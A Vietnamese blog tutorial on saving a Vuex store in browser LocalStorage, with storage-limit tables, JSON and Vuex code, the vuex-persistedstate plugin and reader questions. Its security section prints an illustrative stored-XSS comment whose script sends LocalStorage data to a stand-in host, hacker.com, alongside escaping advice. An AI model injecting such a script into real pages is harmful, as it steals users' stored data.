Lưu dữ liệu store Vuex trong Local Storage: Giảm tải đáng kể WebServer

Trong quá trình phát triển ứng dụng web với Vue.js, chúng ta thường lưu trữ dữ liệu tập trung trong store của VueX và một vấn đề hay gặp là mỗi khi thực hiện refresh trang web, dữ liệu trong store sẽ bị mất hết và phải tải lại từ server để đưa vào trở lại. Chúng ta cùng xem xét một số nhược điểm nếu không lưu trữ store dài hạn:

  • Mỗi lần refresh trang là một lần chúng ta phải thực hiện các tác vụ với store Vuex, nó làm giảm hiệu năng hệ thống đặc biệt với các tác vụ có tải và tính toán dữ liệu lớn. Ví dụ như chúng ta cần thực hiện tải dữ liệu từ một API và thực hiện tính toán dữ liệu này trước khi đưa vào store thông qua các mutations.
  • Ảnh hưởng lớn đến trải nghiệm người dùng do mất trạng thái ứng dụng trước khi refresh trang. Ví dụ một ứng dụng nhập liệu, chúng ta không muốn rằng khi đang nhập liệu dở dang mà refresh trang lại phải nhập lại từ đầu, bạn thử tưởng tượng đang sử dụng một trình soạn thảo văn bản online chẳng hạn, khi soạn thảo được 5 trang rồi mà refresh lại đánh lại từ đầu thì chắc đập bàn phím luôn.

Vài ví dụ trên đây giúp bạn có thể hiểu được tầm quan trọng khi lưu trữ dữ liệu thời gian dài trong các xử lý ở máy khách. Bạn hãy thử nhập thêm một vài ghi nhớ với công cụ ghi nhớ công việc dưới đây, sau đó thử refresh trang web vài lần, thật tuyệt phải không, nó ghi nhớ được các dữ liệu bạn đưa vào mà không hề có liên kết đến máy chủ để lưu dữ liệu.

Chúng ta sẽ cùng tìm hiểu chi tiết ví dụ này ở phần 3 của bài viết.

1. Các cách thức lưu trữ dữ liệu trong trình duyệt

Khi HTML5 ra đời, nó đã tạo ra các bước đột phá lớn trong lập trình ứng dụng web, cũng đúng thôi vì trong bối cảnh mà các máy tính của người dùng hiện đã có bộ xử lý mạnh mẽ hơn cực nhiều và bộ nhớ như RAM, HDD, SSD không còn giới hạn dung lượng. Với HTML5 việc lưu trữ dữ liệu khi làm việc với trình duyệt có nhiều bước tiến. Trước đây, để lưu trữ các dữ liệu người dùng khi làm việc với trình duyệt chúng ta chỉ có một sự lựa chọn duy nhất là cookie (*) thì giờ đây với các trình duyệt hỗ trợ HTML5 có rất nhiều cách thức lưu trữ tùy thuộc vào yêu cầu thực tế.

* Cookie là những tập tin dạng text mà trình duyệt tạo ra nhằm lưu trữ thông tin người dùng trong quá trình duyệt web, nó có những hạn chế:

  • Mỗi tập tin này chỉ được phép có dung lượng tối đa 4KB (do giới hạn dung lượng tại thời điểm ra đời cookie).
  • Các tập tin này được tải vào trình duyệt mỗi khi trình duyệt truy cập vào các domain tương ứng.
  • Cookie có thể được tắt hoặc bật tùy thuộc vào người dùng, do đó nếu ở chế độ disable cookie, chúng ta không thể lưu dữ liệu dạng này.

HTML5 được giới thiệu với công nghệ WebStorage với nhiều các API được đưa vào để làm việc với dữ liệu được lưu theo kiểu key-value. WebStorage có hai cách thức lưu dữ liệu được phân biệt theo thời gian tồn tại của dữ liệu:

  • LocalStorage: dữ liệu được lưu trữ mãi mãi với trình duyệt và nó chỉ mất đi khi chúng ta xóa dữ liệu duyệt web, ví dụ trong Chrome: Settings->Show advanced settings…->Clear browsing data… hoặc khi chúng ta gỡ bỏ trình duyệt.
  • SessionStorage: dữ liệu được lưu trữ tạm thời và mất đi khi phiên làm việc kết thúc.

Ngoài ra có rất nhiều các cách thức lưu trữ khác nhau khác như WebSQL Database, Indexed Database, FileSystem API, Application Cache… nhưng một vấn đề khác cần quan tâm là không phải trình duyệt nào cũng hỗ trợ các cách thức lưu trữ dữ liệu phía máy khách này.

Bảng 1: Thống kê các phương thức lưu trữ trên trình duyệt thiết bị di động

Trình duyệt Chrome Firefox Safari Android Webrowser iOS Webview
Phiên bản 40 34 8 4.3 8
WebSQL Database Unlimited Unsupport 50MB 200MB 50MB
IndexedDB Unlimited 5MB Unlimited Unsupport Unlimited
FileSystem Unlimited Unsupport Unsupport Unsupport Unsupport
Application cache Unlimited 5MB 300MB Unlimited 100MB
SessionStorage 10MB 10MB Unlimited Unlimited Unlimited
LocalStorage 10MB 10MB 5MB 2MB 5MB

Bảng 2: Thống kê các phương thức lưu trữ trên trình duyệt trên máy tính

Trình duyệt Chrome Firefox Safari IE IE
Phiên bản 40 34 8 9 10, 11
WebSQL Database Unlimited Unsupport Unlimited Unsupport Unsupport
IndexedDB Unlimited 50MB Unlimited Unsupport 250MB
FileSystem Unlimited Unsupport Unsupport Unsupport Unsupport
Application cache Unlimited 500MB Unlimited Unsupport 100MB
SessionStorage 10MB 10MB Unlimited 10MB 10MB
LocalStorage 10MB 10MB 5MB 10MB 10MB

Qua hai bảng thống kê trên, chúng ta thấy chỉ có hai cách thức lưu trữ là SessionStoreage và LocalStorage là được hỗ trợ bởi phần lớn các trình duyệt, mặc dù dung lượng lưu trữ không quá lớn khoảng 10MB nhưng như thế là quá đủ với dữ liệu toàn toàn văn bản. Tuy nhiên do thời gian lưu trữ dữ liệu khác nhau nên lưu trữ trên LocalStorage là cách phù hợp nhất với dữ liệu store trong Vuex.

2. Sử dụng LocalStorage trong phát triển ứng dụng web

2.1 Các thao tác cơ bản với LocalStorage

Sử dụng LocalStorage trong các trình duyệt rất đơn giản, bạn chỉ việc thay đổi đối tượng localStorage trong Javascript theo cách trực tiếp hoặc thông qua các phương thức được cung cấp như setItem() và getItem().

localStorage.setItem('favorite_website', 'https://allaravel.com');
localStorage['favorite_website'] = 'https://allaravel.com';
localStorage.favorite_website = 'https://allaravel.com';

3 cách trên đây là giống nhau để thiết lập giá trị cho key favorite_website trong localStorage. Sau đó, bạn muốn lấy giá trị favorite_website chỉ đơn giản sử dụng getItem như sau:

var website =localStorage.getItem('favorite_website');
console.log(website);
// -> https://allaravel.com

Để xóa item ra khỏi localStorage sử dụng phương thức removeItem():

localStorage.removeItem('favorite_website');
var website =localStorage.getItem('favorite_website');
console.log(website);
// -> null

LocalStorage cũng cho phép xóa toàn bộ các item bằng phương thức clear():

localStorage.clear();

2.2 Xử lý vấn đề LocalStorage chỉ lưu được chuỗi ký tự

Một vấn đề với LocalStorage là dữ liệu lưu trữ ở dạng chuỗi ký tự, do vậy chúng ta không thể lưu trực tiếp một đối tượng vào LocalStorage, chúng ta cùng xem ví dụ sau:

var user = {};
user.name = 'Kiên Đặng';
user.email = 'cussupport@gmail.com';
user.favorite_website  = 'https://allaravel.com';
console.log(user);
localStorage.setItem('user', user);
var localstorage_user = localStorage.getItem('user');
console.log(localstorage_user);

Khi mở công cụ Console của trình duyệt lên chúng ta thấy biến localstorage_user chỉ chứa chuỗi ký tự “[object Object]”

LocalStorage chỉ lưu trữ chuỗi ký tự

Chẳng lẽ không lưu được đối tượng vào LocalStorage? Bạn đừng lo vì chúng ta có thể chuyển đối tượng sang chuỗi JSON sau đó lưu xuống LocalStorage, khi lấy chuỗi này ra chỉ cần parse từ chuỗi sang đối tượng là được. Chúng ta cùng xem lại ví dụ trên theo cách mới nhé:

var user = {};
user.name = 'Kiên Đặng';
user.email = 'cussupport@gmail.com';
user.favorite_website  = 'https://allaravel.com';
console.log(user);
// Chuyển đối tượng thành chuỗi JSON và lưu vào LocalStorage
localStorage.setItem('user', JSON.stringify(user));
// Parse chuỗi JSON thành đối tượng
var localstorage_user = JSON.parse(localStorage.getItem('user'));
console.log(localstorage_user);

Mở lại màn hình console thì chúng ta thấy khi hiển thị localstorage_user đã là một đối tượng giống như đối tượng trước khi lưu xuống LocalStorage

Chuyển đối tượng thành chuỗi JSON lưu xuống LocalStorage

2.3 Kiểm tra trình duyệt có hỗ trợ LocalStorage không?

Các trình duyệt hỗ trợ LocalStorage thì đối tượng window sẽ có một thuộc tính localStorage, tuy nhiên nếu chỉ xét đến sự tồn tại của thuộc tính này thì có thể có những ngoại lệ như việc trình duyệt có thể cài đặt vô hiệu hóa tính năng này. Ví dụ trong trình duyệt web Chrome, khi sử dụng tính năng duyệt web không lưu vết Guest, localStorage vẫn tồn tại nhưng có thể gặp lỗi QuotaExceededError khi thao tác với nó. Như vậy, chúng ta cần phải thực hiện một phương thức kiểm tra xem trình duyệt có hỗ trợ LocalStorage hay không như ở dưới đây:

function storageAvailable(type) {
    try {
        var storage = window[type],
            x = '__storage_test__';
        storage.setItem(x, x);
        storage.removeItem(x);
        return true;
    }
    catch(e) {
        return false;
    }
}

Và khi chúng ta muốn kiểm tra trình duyệt cụ thể có hỗ trợ LocalStorage hay không, chúng ta gọi phương thức ở trên:

if (storageAvailable('localStorage')) {
	// Tuyệt vời, trình duyệt này hỗ trợ LocalStorage
}
else {
	// 🙁 trình duyệt không hỗ trợ LocalStorage, tìm cách khác thôi.
}

2.4 Một số vấn đề cần quan tâm khi sử dụng LocalStorage

2.4.1 Phạm vi có hiệu lực của LocalStorage

Các trang có cùng nguồn gốc sẽ sử dụng chung một LocalStorage, tức là bạn có thể lấy cùng dữ liệu đã ghi xuống LocalStorage trên các trang này. Quy tắc nhận biết các trang cùng nguồn gốc như sau:

  • Cùng host (domain hoặc subdomain)
  • Cùng cổng dịch vụ hoạt động (port)
  • Cùng giao thức (protocol)

Ví dụ:

Chúng ta có một trang như sau: https://allaravel.com/category/hoc-laravel-mien-phi. Khi đó:

  • Trang https://allaravel.com/tutorial/laravel-that-la-don-gian sẽ được gọi là cùng nguồn gốc.
  • Trang https://news.allaravel.com/laravel-ra-mat-phien-ban-moi sẽ không cùng nguồn gốc do khác subdomain.
  • Trang http://allaravel.com/phien-ban-web-thong-thuong sẽ không cùng nguồn gốc do khác giao thức.
  • Trang https://allaravel.com:444/su-dung-cong-khac sẽ không cùng nguồn gốc do sử dụng cổng 444 khác với cổng mặc định là 443.

Như vậy, chúng ta cần có các thiết kế phù hợp với thực tế sử dụng để có thể tận dụng được phạm vi hiệu lực của LocalStorage và cũng để đảm bảo các vấn đề về bảo mật dữ liệu khi các người dùng khác nhau trên cùng một domain có thể truy cập được cùng dữ liệu trong LocalStorage.

2.4.2 Vấn đề bảo mật khi sử dụng LocalStorage

LocalStorage được cảnh báo một số vấn đề bảo mật khi sử dụng như tấn công bằng giả mạo DNS (DNS spoofing attacks), Cross-directory attacks như Cross Site Scripting…

Ví dụ đầu tiên về giả mạo DNS, giả sử trang web https://allaravel.com có lưu trữ dữ liệu xuống LocalStorage, khi đó nếu bạn có máy tính đó, bạn có thể xây dựng một trang cục bộ và thiết lập tên miền ảo cho trang cục bộ này để có thể truy cập trang cục bộ bằng https://allaravel.com. Như vậy, tại trang cục bộ chúng ta có thể sử dụng phương thức getItem() để lấy dữ liệu đã được lưu từ trang https://allaravel.com gốc.

Ví dụ thứ hai về Cross Site Scripting (XSS) là cách thức tấn công bằng cách chèn một đoạn mã Javascript để thực hiện các hành vi xấu. Ở đây, hacker không cần phải chèn trực tiếp các mã Javascript vào các trang của website, thay vào đó hacker sẽ khai thác các lỗ hổng bảo mật và phân phối các mã javascript phục vụ mục đích riêng. Một cách thức thường được sử dụng là thông qua các trang cho phép người dùng nhập liệu, ví dụ như các phần bình luận trong trang web chẳng hạn. Chúng ta cùng xem sơ đồ cách thức tấn công Cross Site Scripting lấy dữ liệu cá nhân được lưu trong LocalStorage như sau:

Kịch bản tấn công Cross site scripting lấy dữ liệu cá nhân từ LocalStorage

1. Hacker vào website.com, trong phần bình luận thay vì đưa các bình luận thông thường, hacker cố tình nhập vào bình luận có chứa đoạn mã javascript:

Bài viết rất hữu ích, rất cám ơn tác giả.
<script>window.location="http://hacker.com?cookie=" + localStorage.getItem('sensitive-data');</script>

Bình luận này được lưu vào cơ sở dữ liệu của website.com.

2. Khi người dùng bình thường vào trang có bình luận, máy tính người dùng sẽ yêu cầu GET http://website.com/lastest-comment, máy chủ website.com sẽ tạo ra trang phản hồi thông qua đoạn mã

print "<html>"
print "Bình luận sau cùng:"
print database.latestComment
print "</html>"

và trả về cho người dùng với mã trạng thái HTTP 200, mọi việc bình thường.

3. Mã HTML được tải về máy người dùng có nội dung như sau:

<html>
Bình luận sau cùng:
Bài viết rất hữu ích, rất cám ơn tác giả. 
<script>window.location="http://hacker.com?cookie=" + localStorage.getItem('sensitive-data');</script>
</html>

4. Đoạn mã HTML trên khi được xử lý trong trình duyệt, lập tức trình duyệt sẽ thực hiện chuyển hướng người dùng về địa chỉ http://hacker.com?cookie=sensitive-data cùng với toàn bộ dữ liệu cá nhân của người dùng được lưu trong LocalStorage.

Những việc cần thực hiện nhằm tăng cường bảo mật:

Luôn luôn thực hiện kiểm tra, mã hóa và chuyển đổi các ký tự sử dụng bởi HTML thành ký tự hiển thị (ví dụ < thành &lt; Xem danh sách các ký tự hiển thị cho các ký tự sử dụng trong HTML) trong các trường hợp sau:

  • Khi đưa dữ liệu vào LocalStorage
  • Khi đọc dữ liệu từ LocalStorage và trước khi tạo DOM (document.write).

Không nên lưu trữ dữ liệu nhạy cảm trong LocalStorage, không sử dụng dữ liệu trong LocalStorage cho các công việc quan trọng liên quan đến logic nghiệp vụ.

2.5 Công cụ kiểm tra, thay đổi dữ liệu trong LocalStorage

Trong quá trình phát triển ứng dụng, bạn có thể cần xem và thay đổi thử dữ liệu trong LocalStorage. Tất cả các trình duyệt hiện tại đều cho phép bạn xem và thay đổi dữ liệu trong đó.

Chrome: More tools -> Developer tools hoặc nhấn tổ hợp Ctrl + Shift + I sau đó chọn Application và tìm đến LocalStorage trong phần Storage

Xem và thay đổi LocalStorage trong Chrome

Với Firefox bạn có thể sử dụng công cụ Storage Inspector, mặc định công cụ này được tắt, bạn có thể bật nó lên trong Developer Tools Settings.

Xem và thay đổi LocalStorage trong Firefox

3. Lưu dữ liệu store Vuex vào LocalStorage

3.1 Thực hiện thủ công

Các phần trên đã khá dông dài với các kiến thức về LocalStorage mục đích để các bạn hiểu sâu về cách thức lưu trữ dữ liệu và áp dụng vào việc lưu trữ cho store của Vuex. Về lý thuyết trong phần này không có gì để nói, chúng ta sẽ cùng thực hiện một ví dụ về lưu trữ store vuex vào LocalStorage.

Ví dụ: công cụ ghi nhớ công việc, công cụ này cho phép bạn thêm các công việc với thời gian bắt đầu và thời gian dự kiến hoàn thành… Khi bạn tắt trình duyệt, bạn quay lại thì danh sách công việc không về mất đi, chú ý ở đây chúng ta không sử dụng đến cơ sở dữ liệu cũng như code phía server mà hoàn toàn chỉ làm ở phía client.

Trong ví dụ, chúng ta sử dụng Bootstrap để style cho ứng dụng, moment cho việc xử lý thời gian, lodash xử lý các collection như việc clone object chẳng hạn và đương nhiên là có sử dụng Vue.js và vuex. Tôi muốn đưa cả moment.js và lodash.js vào để các bạn quen dần vì đây là hai thư viện javascript rất mạnh mẽ và hữu ích trong quá trình phát triển ứng dụng.

Đầu tiên chúng ta cùng xem xét hai const function

const loadState = () => {
  try {
    var serializedState = localStorage.getItem('todo');
    if (serializedState === null || serializedState == '[]') {
      return undefined;
    }
    return JSON.parse(serializedState);
  } catch (err) {
    return undefined;
  }
};

const saveState = (state) => {
  try {
    const serializedState = JSON.stringify(state);
    localStorage.setItem('todo', serializedState);
  } catch (err) {
    console.error(`Something went wrong: ${err}`);
  }
}

Hai function này để tải dữ liệu từ localStorage và ghi dữ liệu xuống localStorage, chúng cũng sử dụng các phương thức đã được giới thiệu trong phần 2 là getItem() và setItem(). Tiếp đến trong store của vuex chúng ta định nghĩa mảng todos chứa danh sách các ghi nhớ công việc.

const store = new Vuex.Store({
  state: {
    todos: loadState() || [
      {'id':1, 'name':'Học Laravel', 'start_date':'26/06/2017', 'end_date':'01/07/2017', 'status':'1'},
      {'id':2, 'name':'Học Vue.js', 'start_date':'26/06/2017', 'end_date':'01/07/2017', 'status':'1'}
    ],
    filter: 'all'
  },
...

mảng todos sẽ nhận dữ liệu từ localStorage thông qua function loadState(), nếu function này trả về giá trị rỗng thì thiết lập mặc định hai công việc cần ghi nhớ mặc định là Học Laravel và Học Vue.js. Do đó, khi bạn mới truy cập vào trang hoặc khi bạn xóa sạch danh sách ghi nhớ công việc thì luôn có hai ghi nhớ này trong danh sách.

Các phần mutations và getters của store vuex cũng là những kiến thức đã nói đến trong các bài viết về Vuex. Tiếp đến là các xử lý trong Vue.js để gọi đến các mutations thay đổi dữ liệu trong store, một điểm cần chú ý ở đây sử dụng cloneDeep để tránh việc thay đổi dữ liệu ngoài phạm vi mutations (Xem thêm Khác biệt trong xử lý dữ liệu form với Vuex).

Cuối cùng, chúng ta giám sát sự thay đổi của state trong store, nếu có thay đổi trên state.todos sẽ lập tức gọi function saveState để lưu dữ liệu từ store xuống localStorage.

store.watch(
  (state) => state.todos,
  (state) => {
    saveState(state);
  }
);

Khi ứng dụng hoạt động, chúng ta có thể xem và sửa dữ liệu được lưu xuống trong Local Storage ở dạng chuỗi JSON.

Lưu dữ liệu store vuex vào localStorage

Lợi ích của việc lưu dữ liệu store xuống Local Storage:

  • Tăng hiệu năng hoạt động: Ứng dụng này không có phần làm việc với phía server, tuy nhiên bạn hoàn toàn có thể GET hoặc POST dữ liệu với máy chủ. Chúng ta có thể thấy trong hoạt động của ứng dụng sẽ rất ít các request đến máy chủ, như vậy máy chủ sẽ chỉ cần tập trung làm những công việc cần thiết. Ngay khi tải trang hoặc refresh trang web, thay vì phải lấy dữ liệu từ máy chủ, ứng dụng sẽ lấy dữ liệu từ Local Storage. Tuy nhiên, trong thực tế chúng ta cần quan tâm hơn nữa đến việc dữ liệu đồng bộ do có thể dữ liệu giữa Local Storage khác với trên máy chủ.
  • Tăng cường trải nghiệm người dùng: Do làm việc với store và Local Storage là các tài nguyên ngay tại máy khách, do đó người dùng thấy ứng dụng hoạt động rất nhanh, không có delay. Ví dụ trên chỉ đưa ra rất đơn giản, bạn tưởng tượng nếu ứng dụng làm việc với một khối lượng dữ liệu lớn, mọi thứ sẽ rất khác.

Các ứng dụng web lớn như Facebook, GMail, Google Plus, Google Analysis, Twitter… đều sử dụng rất hiệu quả Local Storage và Session Storage giúp cho ứng dụng làm việc với một khối lượng dữ liệu lớn nhưng hoạt động cực mượt mà.

3.2 Sử dụng vuex-persistedstate

Việc lưu dữ liệu vuex trong thời gian dài là nhu cầu cần thiết, có rất nhiều các vấn đề đã được đưa ra trong Vuex trên GitHub, dựa vào đó một lập trình viên đã phát triển ra gói thư viện Vuex-PersistedState. Để sử dụng gói thư viện này, đầu tiên chúng ta cài đặt thông qua npm:

$ npm install vuex-persistedstate --save

sau đó trong project chúng ta import và khai báo nó như là một plugin của store vuex:

import createPersistedState from 'vuex-persistedstate'

const store = new Vuex.Store({
  // ...
  plugins: [createPersistedState()]
})

Chúng ta cùng xem lại ví dụ về bộ đếm cộng trừ (ví dụ điển hình của Vuex).

Code HTML

<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
  </head>
  <body>
    <div id="app">
      <p>{{ count }}</p>
      <p>
        <button @click="increment">+</button>
        <button @click="decrement">-</button>
      </p>
    </div>
    <script type="text/javascript" src="bundle.js"></script>
  </body>
</html>

Code Javascript

import Vue from 'vue';
import Vuex, { Store } from 'vuex';
import createPersistedState from '../dist/vuex-persistedstate';

Vue.use(Vuex);

const store = new Store({
  state: {
    count: 0
  },
  plugins: [createPersistedState()],
  mutations: {
    increment: state => state.count++,
    decrement: state => state.count--
  }
});

new Vue({
  el: '#app',
  computed: {
    count() {
      return store.state.count;
    }
  },
  methods: {
    increment() {
      store.commit('increment');
    },
    decrement() {
      store.commit('decrement');
    }
  }
});

Mọi thứ vẫn code như bình thường chỉ có duy nhất một khác biệt trong plugins khai báo thêm vuex-persistedstate.

Ngoài ra, gói thư viện này cho phép thay đổi thay vì lưu xuống Local Storage chúng ta có thể sử dụng cookie thông qua thư viện js-cookie.

import { Store } from 'vuex'
import createPersistedState from 'vuex-persistedstate'
import * as Cookies from 'js-cookie'

const store = new Store({
  // ...
  plugins: [
    createPersistedState({
      getState: (key) => Cookies.getJSON(key),
      setState: (key, state) => Cookies.set(key, state, { expires: 3, secure: true })
    })
  ]
})

Hoặc một cách khác là truyền cho createPersistedState một đối tượng dạng Storage (có các phương thức getItem, setItem, removeItem, clear…). Ví dụ dưới đây, thay vì sử dụng Local Storage sẽ sử dụng Session Storage:

createPersistedState({ storage: window.sessionStorage })

4. Lời kết

Một bài viết khá dài phải không, nhưng tôi muốn giới thiệu đến các bạn tất cả các kiến thức liên quan để đảm bảo không những chúng ta sử dụng được trong việc phát triển ứng dụng mà còn phải đảm bảo các hoạt động mang tính ổn định và bảo mật. Bài viết được tổng hợp từ nhiều nguồn tài liệu khác nhau và kinh nghiệm bản thân trong quá trình làm việc nên không tránh khỏi những thiếu sót và hạn chế về kiến thức, rất mong nhận được các trao đổi từ các bạn nhằm tăng cường hiểu biết hơn nữa.

10 thoughts on “Lưu dữ liệu store Vuex trong Local Storage: Giảm tải đáng kể WebServer

  1. Cho mình hỏi mình lưu một đối tượng vào Local Storage, nhưng đối tượng đó chỉ thay đổi một thuộc tính thôi cũng phải ghi đè lại cả đối tượng, có cách nào chỉ thay đổi thuộc tính của đối tượng này trong Local Storage thôi không?
    bigObject.property = newValue;
    localStorage.setItem(‘bigObject’, JSON.Stringify(bigObject));

    1. Local Storage lưu trữ dạng cặp key/value với value là chuỗi ký tự, do đó không có cách nào khác là chúng ta phải lấy giá tri đó ra convert về đối tượng và chỉnh sửa đối tượng, sau đó chuyển đối tượng sang dạng chuỗi và ghi đè lên cặp key/value cũ.
      var bigObject = JSON.parse(localStorage['bigObject']);
      bigObject.property = newValue;
      localStorage['bigObject'] = JSON.stringify(bigObject);

      Đây cũng là cách thức mà các hệ cơ sở dữ liệu dành cho trình duyệt thực hiện ví dụ như indexed DB chẳng hạn. Bạn cũng yên tâm là tốc độ máy tính cá nhân bây giờ khá nhanh nên các tác vụ kiểu này thực hiện ít delay.

  2. Chào các bạn, mình có một vấn đề với Local Storage rất mong được các bạn trợ giúp:
    Mình có lưu trữ một số dữ liệu trong Local Storage và sử dụng dữ liệu này cho việc tính toán và đẩy ngược trở lại server. Tuy nhiên dữ liệu trong Local Storage có thể thay đổi được bởi người dùng, vậy có cách nào kiểm tra xem người dùng có thay đổi dữ liệu này hay không?

    1. Khoai, javascript không bảo mật 100% được, người dùng về nguyên tắc đọc được source hoặc can thiệp được dữ liệu ở client

      1. Đồng ý với Kulit là không đảm bảo 100% nhưng cũng có những cách thức giúp ngăn chặn đến 99,99%, lý thuyết và thực tế vẫn có những điểm khác biệt.

    2. Trong bài viết:
      1. Luôn luôn thực hiện kiểm tra, mã hóa và chuyển đổi các ký tự sử dụng bởi HTML thành ký tự hiển thị.
      2. Không nên lưu trữ dữ liệu nhạy cảm trong LocalStorage, không sử dụng dữ liệu trong LocalStorage cho các công việc quan trọng liên quan đến logic nghiệp vụ.
      Việc lưu dữ liệu LocalStorage còn tùy thuộc từng trường hợp có cách xử lý khác nhau, bạn có thể nói rõ hơn trường hợp của bạn không?

      1. Trường hợp của tôi như sau:
        1. Mỗi khi người dùng đăng nhập, ứng dụng sẽ kiểm tra LocalStorage để biết được thời gian vào trước đó và tải về chỉ lượng dữ phát sinh.
        2. Lượng dữ liệu phát sinh đó sẽ được tính toán và lưu xuống LocalStorage để làm thông tin cho lần truy nhập tiếp theo.
        Tuy nhiên, người dùng có thể chỉnh sửa LocalStorage dẫn đến sai trong tính toán lượng dữ phát sinh, có cách nào để kiểm soát được việc này không?

Add Comment